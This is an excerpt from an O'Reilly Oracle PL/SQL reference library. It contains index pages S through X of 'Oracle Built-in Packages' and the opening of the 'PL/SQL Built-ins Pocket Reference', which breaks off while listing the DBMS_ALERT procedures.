adding objects to : 14.4.3.1. The DBMS_REPCAT.CREATE_SNAPSHOT_REPOBJECT procedure
creating : 14.4.2.1. The DBMS_REPCAT.CREATE_SNAPSHOT_REPGROUP procedure
dropping : 14.4.2.3. The DBMS_REPCAT.DROP_SNAPSHOT_REPGROUP procedure
dropping objects from : 14.4.3.2. The DBMS_REPCAT.DROP_SNAPSHOT_REPOBJECT procedure
propagation mode alteration : 14.4.4. Altering a Snapshot Replication Group's Propagation Mode
refreshing : 14.4.5. Manually Refreshing a Snapshot Replication Group
switching master site : 14.4.6.1. The DBMS_REPCAT.SWITCH_SNAPSHOT_MASTER procedure
snapshots
beginning import : 14.3.2.1. The DBMS_OFFLINE_SNAPSHOT.BEGIN_LOAD procedure
dropping all snapshots and snapshot groups : 14.2.2.1. The DBMS_REFRESH.MAKE procedure
droppping replication groups and : 15.3.2.2. The DBMS_REPCAT.DROP_MASTER_REPGROUP procedure
ending import : 14.3.2.2. The DBMS_OFFLINE_SNAPSHOT.END_LOAD procedure
export/import (loading) : 14.3.2. DBMS_OFFLINE_SNAPSHOT Interface
instantiation
14.3. DBMS_OFFLINE_SNAPSHOT: Performing Offline Snapshot Instantiation
14.4.2.2. The offline snapshot instantiation procedure
refresh state : 14.1.2.1. The DBMS_SNAPSHOT.I_AM_A_REFRESH function
refreshing : 14.1.3. Refreshing Snapshots
rollback and : 14.1.3.1. The DBMS_SNAPSHOT.REFRESH procedure
registering : 14.1.6. Registering Snapshots
unregistering : 14.1.6.2. The DBMS_SNAPSHOT.UNREGISTER_SNAPSHOT procedures (Oracle8 only)
SNP background processes : 13.2.1.1. JOB_QUEUE_PROCESSES
sort order (NLS), setting : 11.1.2.3. The DBMS_SESSION.SET_NLS procedure
space
deallocating unused space : 12.1.2.2. The DBMS_SPACE.UNUSED_SPACE procedure
freelist blocks available : 12.1.2.1. The DBMS_SPACE.FREE_BLOCKS procedure
unused space information : 12.1.2.2. The DBMS_SPACE.UNUSED_SPACE procedure
utilization information : 12.1. DBMS_SPACE: Obtaining Space Information
space_logger procedure : 13.4.1. Tracking Space in Tablespaces
spcex1.sql : 12.1.2.2. The DBMS_SPACE.UNUSED_SPACE procedure
spcex2.sql : 12.1.3.1. The segspace package
special characters (NLS), setting : 11.1.2.3. The DBMS_SESSION.SET_NLS procedure
sptimer.spb : 10.1.2.14. The DBMS_UTILITY.GET_TIME function
sptimer.sps : 10.1.2.14. The DBMS_UTILITY.GET_TIME function
SQL function codes : 2.3.10.4. The DBMS_SQL.LAST_SQL_FUNCTION_CODE function
SQL statements
(see also DDL statements; DML statements; long SQL statements)
2.2.6. DBMS_SQL Nonprogram Elements
combining into one program : 2.4.3. Combining Operations
constructing : 2.3.4. Binding Values into Dynamic SQL
binding versus concatenation
2.3.4. Binding Values into Dynamic SQL
2.3.4.1. The DBMS_SQL.BIND_VARIABLE procedure
executing : 2.3.1. Processing Flow of Dynamic SQL
function codes : 2.3.10.4. The DBMS_SQL.LAST_SQL_FUNCTION_CODE function
functions, invoking : 1.3.7.1. Calling a packaged function in SQL
parsing
2.3.1. Processing Flow of Dynamic SQL
2.3.3. Parsing the SQL Statement
deferred : 2.3.3.1. The DBMS_SQL.PARSE procedure
error position in : 2.3.10.1. The DBMS_SQL.LAST_ERROR_POSITION function
language version : 2.2.6. DBMS_SQL Nonprogram Elements
performance improvement : 2.4.5. Improving the Performance of Dynamic SQL
procedures, calling : 1.3.7.2. Using a packaged procedure from within SQL
SQL tracing, reasons for using : 7.3.8. Session Monitoring and Three-Tier Architectures
sqlarea.sql : 7.3.7. Monitoring Application SQL Resource Consumption
SQLCODE
exception types and : 1.3.4. Exception Handling and Built-in Packages
UTL_FILE and : 6.2.6.1. Handling file I/O errors
SQLERRM
exception types and : 1.3.4. Exception Handling and Built-in Packages
LAST_ERROR_POSITION and : 2.3.10.1. The DBMS_SQL.LAST_ERROR_POSITION function
UTL_FILE and : 6.2.6.1. Handling file I/O errors
square brackets ([ ]) : 2.3.4.1. The DBMS_SQL.BIND_VARIABLE procedure
stacks
(see also call stack; error stack)
10.1.2.11. The DBMS_UTILITY.FORMAT_ERROR_STACK function
AQ example : 5.7.3. Building a Stack with AQ Using Sequence Deviation
standalone procedures, deferred RPCs and : 17.3.2.2. The DBMS_DEFER.CALL procedure
STANDARD package : 1.4.1. The STANDARD Package
standard system exceptions
1.3.4. Exception Handling and Built-in Packages
1.3.4.3. Standard system exception
standard.sql file : 1.4.1. The STANDARD Package
START_QUEUE procedure
5.5. DBMS_AQADM: Performing AQ Administrative Tasks (Oracle8 only)
5.5.2.2. The DBMS_AQADM.START_QUEUE procedure
START_TIME_MANAGER procedure
5.5. DBMS_AQADM: Performing AQ Administrative Tasks (Oracle8 only)
5.5.7.1. The DBMS_AQADM.START_TIME_MANAGER procedure
statistics
(see also performance analysis)
7. Defining an Application Profile
objects : 10.3.3.1. The DBMS_DDL.ANALYZE_OBJECT procedure
partitioned objects : 10.1.2.3. The DBMS_UTILITY.ANALYZE_PART_OBJECT procedure (Oracle8 Only)
schemas : 10.1.2.2. The DBMS_UTILITY.ANALYZE_SCHEMA procedure
tables : 13.4.1. Tracking Space in Tablespaces
statval function : 11.1.5.8. The memory procedure
STEP_ID function
4.2.1.1. DBMS_TRANSACTION programs
4.2.7.2. The DBMS_TRANSACTION.STEP_ID function
stop_and_drop procedure : 5.7.1. Improving AQ Ease of Use
STOP_QUEUE procedure
5.5. DBMS_AQADM: Performing AQ Administrative Tasks (Oracle8 only)
5.5.4.1. The DBMS_AQADM.STOP_QUEUE procedure
STOP_TIME_MANAGER procedure
5.5. DBMS_AQADM: Performing AQ Administrative Tasks (Oracle8 only)
5.5.7.2. The DBMS_AQADM.STOP_TIME_MANAGER procedure
stored programs
describing parameters : 10.2. DBMS_DESCRIBE: Describing PL/SQL Program Headers
job execution and : 13.1.2.2. The what parameter
recompiling : 10.3.2. Compiling PL/SQL Objects
strong typing : (see data typing)
Study Conduction, Institute for : 1.3.5. Encapsulating Access to the Built-in Packages
SUBMIT procedure
13.1.1. DBMS_JOB Programs
13.2.5.1. The DBMS_JOB.SUBMIT procedure
subscriber lists
5.1.2. Enqueue Features
5.1.5. A Glossary of Terms
privileges required to modify : 5.5.3. Managing Queue Subscribers
returning : 5.5.3.3. The DBMS_AQADM.QUEUE_SUBSCRIBERS procedure
table types for : 5.3.5. Recipient and Subscriber List Table Types
subscribers
adding : 5.5.3.1. The DBMS_AQADM.ADD_SUBSCRIBER procedure
removing : 5.5.3.2. The DBMS_AQADM.REMOVE_SUBSCRIBER procedure
SUBSTR function
8.1.1. DBMS_LOB Programs
8.3.2.4. The DBMS_LOB.SUBSTR function
9.2.3.14. The UTL_RAW.SUBSTR function
READ versus
8.3.2.3. The DBMS_LOB.READ procedure
8.3.2.4. The DBMS_LOB.SUBSTR function
SUBTRACT procedure
14.2.1. Getting Started with DBMS_REFRESH
14.2.3.2. The DBMS_REFRESH.SUBTRACT procedure
surrogate SYS accounts : (see advanced replication, user accounts)
SUSPEND_MASTER_ACTIVITY procedure
15.3.1.1. DBMS_REPCAT programs
15.3.7.1. The DBMS_REPCAT.SUSPEND_MASTER_ACTIVITY procedure
SWITCH_SNAPSHOT_MASTER procedure
14.4.1.1. DBMS_REPCAT programs
14.4.6.1. The DBMS_REPCAT.SWITCH_SNAPSHOT_MASTER procedure

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X

Index: T

TABLE_TO_COMMA procedure
10.1.1. Getting Started with DBMS_UTILITY
10.1.2.20. The DBMS_UTILITY.TABLE_TO_COMMA procedure
tables
analyzing : 13.4.1. Tracking Space in Tablespaces
AQ and : 5.1.1. General Features
displaying contents of (example) : 2.5.4. Displaying Table Contents with Method 4 Dynamic SQL
memory use and : 11.1.4.2. The DBMS_SESSION.FREE_UNUSED_USER_MEMORY procedure
referenceability : 10.3.4. Setting Referenceability of Tables
reorganizing : 14.1.5. Reorganizing Tables
replacing (example) : 10.3.4.1. The DBMS_DDL. (Oracle8 only)
replicated tables
comparing : 15.5.2.1. The DBMS_RECTIFIER.DIFFERENCES procedure
dropping and replication triggers : 15.3.3.3. The DBMS_REPCAT.DROP_MASTER_REPOBJECT procedure
instantiation versus rectifying : 15.5.2.2. The DBMS_RECTIFIER_DIFF.RECTIFY procedure
rectifying : 15.5.2.2. The DBMS_RECTIFIER_DIFF.RECTIFY procedure
space utilization : 12.1. DBMS_SPACE: Obtaining Space Information
tabpkg package
(see also specific program names)
6.2.7.1. Enhancing UTL_FILE.GET_LINE
tabref.sql : 10.3.4.1. The DBMS_DDL. (Oracle8 only)
TERMINATE procedure
10.4.1. Getting Started with DBMS_RANDOM
10.4.2.4. The DBMS_RANDOM.TERMINATE procedure (Oracle8 only)
territory (NLS), setting : 11.1.2.3. The DBMS_SESSION.SET_NLS procedure
testing : (see debugging; tracing; troubleshooting)
time, elapsed time : 10.1.2.14. The DBMS_UTILITY.GET_TIME function
timeouts
3.1.5.1. The DBMS_PIPE.SEND_MESSAGE function
3.1.5.2. The DBMS_PIPE.RECEIVE_MESSAGE function
3.1.6.4. Paying attention to timeouts
toggling bits : 9.2.3.4. The UTL_RAW.BIT_XOR function
total_blocks function : 12.1.3.1. The segspace package
trace event levels : (see tracing, event levels)
trace package
(see also specific program names)
1.3.5.1. Examples of encapsulation packages
11.2.3. DBMS_SYSTEM Examples
trace.sql : 11.2.3. DBMS_SYSTEM Examples
tracing
(see also debugging; troubleshooting)
11.1.4.5. The DBMS_SESSION.SET_SQL_TRACE procedure
11.2. DBMS_System: Setting Events for Debugging
enabling/disabling in another session : 11.2.2.3. The DBMS_SYSTEM.SET_SQL_TRACE_IN_SESSION procedure
enabling/disabling in same session : 11.1.4.5. The DBMS_SESSION.SET_SQL_TRACE procedure
encapsulating DBMS_SYSTEM : 11.2.3. DBMS_SYSTEM Examples
enhancement : 11.1.5.6. The set_sql_trace procedure
event levels
reading : 11.2.2.1. The DBMS_SYSTEM.READ_EV procedure
setting : 11.2.2.2. The DBMS_SYSTEM.SET_EV procedure
reasons for using : 7.3.8. Session Monitoring and Three-Tier Architectures
SQL statements with packaged functions : 1.3.7.2. Using a packaged procedure from within SQL
TRANSACTION procedure (DBMS_DEFER)
17.3.1.1. DBMS_DEFER programs
17.3.2.1. The DBMS_DEFER.TRANSACTION procedure
transaction statements, programmatic interface to : 4.2. DBMS_TRANSACTION: Interfacing to SQL Transaction Statements
transactions
(see also deferred transactions)
7.2.3. The DBMS_APPLICATION_INFO.SET_ACTION procedure
action names : (see action names)
alerts and
3.2.2.5. The DBMS_ALERT.SIGNAL procedure
3.2.3. DBMS_ALERT Examples
characteristics of : 4.2.5. Setting Transaction Characteristics
cleaning up : 4.2.6. Cleaning Up Transaction Details
commitment : 4.2.3. Committing Data
concentrating via DBMS_PIPE : 3.1.7.4. Implementing a server program
current transaction : 7.2.3. The DBMS_APPLICATION_INFO.SET_ACTION procedure
dequeuing and
5.1.3. Dequeue Features
5.3.8. Dequeue Options Record Type
discrete transactions : 4.2.5.3. The DBMS_TRANSACTION.BEGIN_DISCRETE_TRANSACTION procedure
enqueuing and
5.1.3. Dequeue Features
5.3.7. Enqueue Options Record Type
identifiers for : 4.2.7.1. The DBMS_TRANSACTION.LOCAL_TRANSACTION_ID function
in-doubt transactions : (see in-doubt transactions)
intersession communication and : 3.1. DBMS_PIPE: Communicating Between Sessions
LOBs and : 8.2.1.1. Internal and external LOBs
lock persistence and : 4.1.2.2. The DBMS_LOCK.REQUEST function
pipes and : 3.1.2.2. Nontransactional communications
read-only : 4.2.5.1. The DBMS_TRANSACTION.READ_ONLY procedure
read-write : 4.2.5.2. The DBMS_TRANSACTION.READ_WRITE procedure
recovery : 4.2.6.2. The DBMS_TRANSACTION.PURGE_LOST_DB_ENTRY procedure
rollback : 4.2.4. Rolling Back Changes
short transactions : 4.2.5.3. The DBMS_TRANSACTION.BEGIN_DISCRETE_TRANSACTION procedure
step id : 4.2.7.2. The DBMS_TRANSACTION.STEP_ID function
transid.sql : 4.2.7.2. The DBMS_TRANSACTION.STEP_ID function
TRANSLATE function : 9.2.3.15. The UTL_RAW.TRANSLATE function
TRANSLITERATE function : 9.2.3.16. The UTL_RAW.TRANSLITERATE function
triggers
alert signaling and : 3.2. DBMS_ALERT: Broadcasting Alerts to Users
allocating locks and : 4.1.2.1. The DBMS_LOCK.ALLOCATE_UNIQUE procedure
named locks and : 4.1.3.4. ALLOCATE_UNIQUE drawbacks
National Language Support parameters and : 11.1.2.3. The DBMS_SESSION.SET_NLS procedure
replication triggers : (see replication triggers)
roles and : 11.1.2.4. The DBMS_SESSION.SET_ROLE procedure
TRIM procedure
8.1.1. DBMS_LOB Programs
8.3.3.4. The DBMS_LOB.TRIM procedure
troubleshooting
(see also debugging; tracing)
2.3.10.3. The DBMS_SQL.LAST_ROW_ID function
dynamic SQL : 2.4.6. Problem-Solving Dynamic SQL Errors
EXECUTE_AND_FETCH : 2.3.8. Retrieving Values
Trusted Oracle, job execution and : 13.2.2. Job Execution and the Job Execution Environment
two-phase commit : (see distributed databases; in-doubt transactions)
typing : (see datatypes)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X

Index: U

underscore (_) : 5.7.5.1. Wildcarded correlation identifiers
unique_id function
11.1.5.1. Adding value to DBMS_SESSION
11.1.5.2. The unique_id function
UNIQUE_SESSION_ID function
11.1.1.1. DBMS_SESSION programs
11.1.3.2. The DBMS_SESSION.UNIQUE_SESSION_ID function
UNIQUE_SESSION_NAME function
3.1.1.1. DBMS_PIPE programs
3.1.3.5. The DBMS_PIPE.UNIQUE_SESSION_NAME function
UNIQUE_SESSION_ID versus : 11.1.3.2. The DBMS_SESSION.UNIQUE_SESSION_ID function
uniqueness conflicts
(see also insert conflicts)
16.5.1. About Resolution Methods
resolution methods : 16.5.1. About Resolution Methods
UNKEEP procedure
12.2.1. Getting Started with DBMS_SHARED_POOL
12.2.2.2. The DBMS_SHARED_POOL.UNKEEP procedure
unpack_all_items procedure : 3.1.4.7. The DBMS_PIPE.NEXT_ITEM_TYPE function
UNPACK_MESSAGE procedure
3.1.1.1. DBMS_PIPE programs
3.1.4.4. The DBMS_PIPE.UNPACK_MESSAGE procedure
UNPACK_MESSAGE_RAW procedure
3.1.1.1. DBMS_PIPE programs
3.1.4.5. The DBMS_PIPE.UNPACK_MESSAGE_RAW procedure
UNPACK_MESSAGE_ROWID procedure
3.1.1.1. DBMS_PIPE programs
3.1.4.6. The DBMS_PIPE.UNPACK_MESSAGE_ROWID procedure
unpack_to_tbl procedure : 3.1.7.3. The dbpipe utility package
UNREGISTER_PROPAGATOR procedure
17.2.1.1. DBMS_DEFER_SYS programs
17.2.6.9. The DBMS_DEFER_SYS.UNREGISTER_PROPAGATOR procedure (Oracle8 only)
UNREGISTER_SNAPSHOT procedure
14.1.1. Getting Started with DBMS_SNAPSHOT
14.1.6.2. The DBMS_SNAPSHOT.UNREGISTER_SNAPSHOT procedures (Oracle8 only)
UNSCHEDULE_EXECUTION procedure
17.2.1.1. DBMS_DEFER_SYS programs
17.2.5.4. The DBMS_DEFER_SYS.UNSCHEDULE_EXECUTION procedure
UNSCHEDULE_PROPAGATION procedure
5.5. DBMS_AQADM: Performing AQ Administrative Tasks (Oracle8 only)
5.5.5.2. The DBMS_AQADM.UNSCHEDULE_PROPAGATION procedure
UNSCHEDULE_PURGE procedure
17.2.1.1. DBMS_DEFER_SYS programs
17.2.6.6. The DBMS_DEFER_SYS.UNSCHEDULE_PURGE procedure (Oracle8 only)
UNSCHEDULE_PUSH procedure
17.2.1.1. DBMS_DEFER_SYS programs
17.2.6.7. The DBMS_DEFER_SYS.UNSCHEDULE_PUSH procedure (Oracle8 only)
unused_blocks function : 12.1.3.1. The segspace package
UNUSED_SPACE procedure
12.1.1. Getting Started with DBMS_SPACE
12.1.2.2. The DBMS_SPACE.UNUSED_SPACE procedure
upd function : 10.2.3.2. Using psdesc.args as a quality assurance tool
updarray.sp : 2.3.4.1. The DBMS_SQL.BIND_VARIABLE procedure
update conflicts : 16. Conflict Resolution
dropping priority groups and conflict resolution : 16.3.2.2. The DBMS_REPCAT.DROP_PRIORITY_GROUP procedure
resolution methods : 16.5.1. About Resolution Methods
UPDATE statements, array processing and : 2.5.6.3. Using array processing to update
UPDATE_OBJECT procedure : 9.2.5.4. The UTL_REF.UPDATE_OBJECT procedure
update_row procedure : 7.3.9. Tracking Long-Running Processes
upddelist.sp : 10.1.2.4. The DBMS_UTILITY.COMMA_TO_TABLE procedure
usage : (see performance analysis)
USE_ROLLBACK_SEGMENT procedure
4.2.1.1. DBMS_TRANSACTION programs
4.2.4.5. The DBMS_TRANSACTION.USE_ROLLBACK_SEGMENT procedure
user accounts : (see advanced replication, user accounts)
user queues : 5.1.5. A Glossary of Terms
user role (AQ) : 5.2.3. Authorizing Accounts to Use Oracle AQ
USER_EXPORT procedure
13.1.1. DBMS_JOB Programs
13.2.8.1. The DBMS_JOB.USER_EXPORT procedure
USER_JOBS view : 13.3.2. Viewing Job Information in the Data Dictionary
USER_OBJECTS view : 2.5.1. A Generic Drop_Object Procedure
USER_QUEUE_TABLES view : 5.6.2.1. The DBA_QUEUE_TABLES view
USER_QUEUES view
5.1.8. Data Dictionary Views
5.5.2.3. The DBMS_AQADM.ALTER_QUEUE procedure
users, distinguishing with DBMS_APPLICATION_INFO : 7.3.8. Session Monitoring and Three-Tier Architectures
UTL_FILE package
(see also files; specific program names)
1.2. Built-in Packages Covered in This Book
6.2. UTL_FILE: Reading and Writing Server-side Files
6.2.1.1. UTL_FILE programs
creating : 6.2.1. Getting Started with UTL_FILE
examples : 6.2.7. UTL_FILE Examples
exceptions
6.2.6.1. Handling file I/O errors
6.2.1.5. UTL_FILE exceptions
closing files and : 6.2.5.2. The UTL_FILE.FCLOSE_ALL procedure
GET_LINE enhancements for : 6.2.7.1. Enhancing UTL_FILE.GET_LINE
existence of files (example) : 6.2.7.2. Creating a file
format strings for PUTF : 6.2.4.4. The UTL_FILE.PUTF procedure
getting started : 6.2.1.2. Trying out UTL_FILE
I/O errors : 6.2.6.1. Handling file I/O errors
pathname support (enhancement) : 6.2.6.4. Adding support for paths
privileges
6.2.1. Getting Started with UTL_FILE
6.2.1.3. File security
processing flow : 6.2.1.8. The UTL_FILE process flow
programs contained in : 6.2.1.1. UTL_FILE programs
restrictions : 6.2.1.7. UTL_FILE restrictions and limitations
searching files (example) : 6.2.7.4. Searching a file for a string
string size maximum : 6.2.4. Writing to Files
tips on using : 6.2.6. Tips on Using UTL_FILE
UTL_RAW package
(see also raw data; specific program names)
1.2. Built-in Packages Covered in This Book
9.2. UTL_RAW: Manipulating Raw Data
9.2.1.1. UTL_RAW programs
bitmasks and : 9.2.2.3. Bit-fiddling
coercions : 9.2.2.1. Conversion and coercion
conversions
9.2.2.1. Conversion and coercion
9.2.3.5. The UTL_RAW.CAST_TO_RAW function
9.2.3.9. The UTL_RAW.CONVERT function
creating : 9.2.1. Getting Started with UTL_RAW
exceptions : 9.2.1.1. UTL_RAW programs
National Language Support and : 9.2. UTL_RAW: Manipulating Raw Data
programs contained in : 9.2.1.1. UTL_RAW programs
replication and : 9.2. UTL_RAW: Manipulating Raw Data
UTL_REF package
(see also specific program names)
1.2. Built-in Packages Covered in This Book
9.2.4. UTL_REF: Referencing Objects (Oracle8.0.4)
9.2.4.1. Getting Started with UTL_REF
creating : 9.2.4.1. Getting Started with UTL_REF
example : 9.2.6. UTL_REF Example
exceptions : 9.2.4.1. Getting Started with UTL_REF
privileges : 9.2.4.1. Getting Started with UTL_REF
programs contained in : 9.2.4.1. Getting Started with UTL_REF
utlfile.sql script : 6.2.1. Getting Started with UTL_FILE
utlraw.sql script : 9.2.1. Getting Started with UTL_RAW
utlref.sql script : 9.2.4.1. Getting Started with UTL_REF

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X

Index: V

V$ virtual tables, DBMS_APPLICATION_INFO use of : 7.1.2. The V$ Virtual Tables
val function
2.5.5. Indirect Referencing in PL/SQL
2.5.5.2. Retrieving a value
values : (see columns; LONG values)
VARCHAR2
converting from raw data : 9.2.3.6. The UTL_RAW.CAST_TO_VARCHAR2 function
converting to raw data
9.2.2.1. Conversion and coercion
9.2.3.5. The UTL_RAW.CAST_TO_RAW function
foreign keys containing : 2.5.2. A Generic Foreign Key Lookup Function
VARCHAR2_ARG procedure : 17.3.3.1. The DBMS_DEFER.<datatype>_ARG procedure
variable arrays, DBMS_SQL restrictions : 2.4.1. Some Restrictions
variable-width character sets
8.2.1.4. The CLOB datatype
8.2.1.5. The NCLOB datatype
VARIABLE_VALUE procedure
2.2.3. DBMS_SQL Programs
2.3.8.3. The DBMS_SQL.VARIABLE_VALUE procedure
VERIFY_QUEUE_TYPES procedure
5.5. DBMS_AQADM: Performing AQ Administrative Tasks (Oracle8 only)
5.5.6.1. The DBMS_AQADM.VERIFY_QUEUE_TYPES procedure
version function : 10.1.2.8. The DBMS_UTILITY.DB_VERSION procedure

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X

Index: W

WAIT_MASTER_LOG procedure
15.3.1.1. DBMS_REPCAT programs
15.3.6.2. The DBMS_REPCAT.WAIT_MASTER_LOG procedure
WAITANY procedure
3.2.1.1. DBMS_ALERT programs
3.2.2.6. The DBMS_ALERT.WAITANY procedure
WAITONE procedure
3.2.1.1. DBMS_ALERT programs
3.2.2.7. The DBMS_ALERT.WAITONE procedure
watch_bidding procedure : 3.2.3.5. The auction package
what parameter (job scheduling) : 13.1.2.2. The what parameter
WHAT procedure (DBMS_JOB)
13.1.1. DBMS_JOB Programs
13.2.6.4. The DBMS_JOB.WHAT procedure
WHEN OTHERS clause, identifying exceptions and
1.3.4.1. Package-named system exception
1.3.4.2. Package-defined exception
1.3.4.3. Standard system exception
WHERE clause, array updating and : 2.5.6.3. Using array processing to update
wildcarding correlation identifiers : 5.7.5.1. Wildcarded correlation identifiers
workflow management : 5. Oracle Advanced Queuing
WRITE procedure (DBMS_LOB)
8.1.1. DBMS_LOB Programs
8.3.3.5. The DBMS_LOB.WRITE procedure

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X

Index: X

xon procedure : 11.2.3. DBMS_SYSTEM Examples
XOR bit operation : 9.2.3.4. The UTL_RAW.BIT_XOR function
XRANGE function : 9.2.3.17. The UTL_RAW.XRANGE function

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Oracle PL/SQL Programming with Built-in Packages Search Page

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book

Full Text Search

If you are having difficulty searching, or if you have not used this search utility before, please read this.

The Oracle PL/SQL CD Bookshelf Navigation Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 1] Oracle PL/SQL Built-ins Pocket Reference

Oracle PL/SQL Built-ins Pocket Reference

Oracle PL/SQL Built-ins Pocket ReferenceSearch this book
Chapter 1 Next: 1.2 Conventions

1. Oracle PL/SQL Built-ins Pocket Reference

Contents:
Introduction
Conventions
Built-in Packages
Built-in Functions
RESTRICT REFERENCES Pragmas
Nonprogram Elements

1.1 Introduction

The Oracle PL/SQL Built-ins Pocket Reference is a quick reference guide to the many built-in packages and functions provided by Oracle Corporation. It contains a concise description of the syntax for the following:

  • Built-in packages

  • Built-in functions

  • RESTRICT REFERENCES pragmas for the built-in packages

  • Nonprogram elements (e.g., constants, exceptions, etc.) defined in the built-in packages

Although we don't include every single package and function in this pocket reference, we've included all the built-ins that most PL/SQL developers will ever need to use.

NOTE: Where a package, program, or function is supported only for a particular version of Oracle (e.g., Oracle8), we indicate this in the text.

The purpose of this pocket reference is to help PL/SQL users find the syntax of specific built-in headers. It is not a self-contained user guide; basic knowledge of PL/SQL and its built-ins is required. For more information, see the following books:

Oracle PL/SQL Programming, by Steven Feuerstein and Bill Pribyl (O'Reilly & Associates, Second Edition, 1997).

Oracle Built-in Packages, by Steven Feuerstein, Charles Dye, and John Beresniewicz (O'Reilly & Associates, 1998).

Oracle PL/SQL Built-ins Pocket Reference | Next: 1.2 Conventions
 | 1.2 Conventions
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 1] 1.2 Conventions

Oracle PL/SQL Built-ins Pocket Reference

Oracle PL/SQL Built-ins Pocket ReferenceSearch this book

1.2 Conventions

UPPERCASE

Indicates PL/SQL keywords.

lowercase

Indicates user-defined items such as parameters.

italic

Indicates parameters within text.

[ ]

In syntax descriptions, items in square brackets are optional.

Previous: 1.1 Introduction | Oracle PL/SQL Built-ins Pocket Reference | Next: 1.3 Built-in Packages
1.1 Introduction |  | 1.3 Built-in Packages
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 1] 1.3 Built-in Packages

Oracle PL/SQL Built-ins Pocket Reference

Oracle PL/SQL Built-ins Pocket ReferenceSearch this book

1.3 Built-in Packages

PL/SQL packages allow you to collect related program elements and control access to those elements. Oracle provides a rich set of built-in packages that extend the functionality of PL/SQL in many important ways. Many of the built-ins allow you access to features that would otherwise be unavailable to you. You will find these packages helpful in developing applications, managing server-side resources, and performing many other operations.

The built-in packages are listed in this section in alphabetical order. For each package, we've shown the header (calling sequence) for each of the programs defined in the package, and provided a brief description of the program operation.

There are two default packages that deserve special mention. The STANDARD package contains many of the basic elements of the PL/SQL language (datatypes, functions, even basic operations like + and -). We describe the STANDARD functions later, in the Section 1.4, "Built-in Functions" section.

The DBMS_STANDARD package, described in this section, contains kernel extensions to the STANDARD package.

1.3.1 DBMS_ALERT

DBMS_ALERT provides mechanisms for synchronous, transaction-based notification to multiple sessions that specific database events have occurred.

PROCEDURE DBMS_ALERT.REGISTER
    (name IN VARCHAR2);

Registers the calling session to receive notification of alert name.

PROCEDURE DBMS_ALERT.REMOVE
    (name IN VARCHAR2);

Unregisters the calling session from receiving notification of alert name.

PROCEDURE DBMS_ALERT.REMOVEALL;

Unregisters the calling session from notification of all alerts.

PROCEDURE DBMS_ALERT.SET_DEFAULTS
    (sensitivity IN NUMBER);

Defines configurable settings for the calling session. (sensitivity defines the loop interval sleep time in seconds.)

PROCEDURE DBMS_ALERT.SIGNAL
    (name IN VARCHAR2
    ,message IN VARCHAR2);

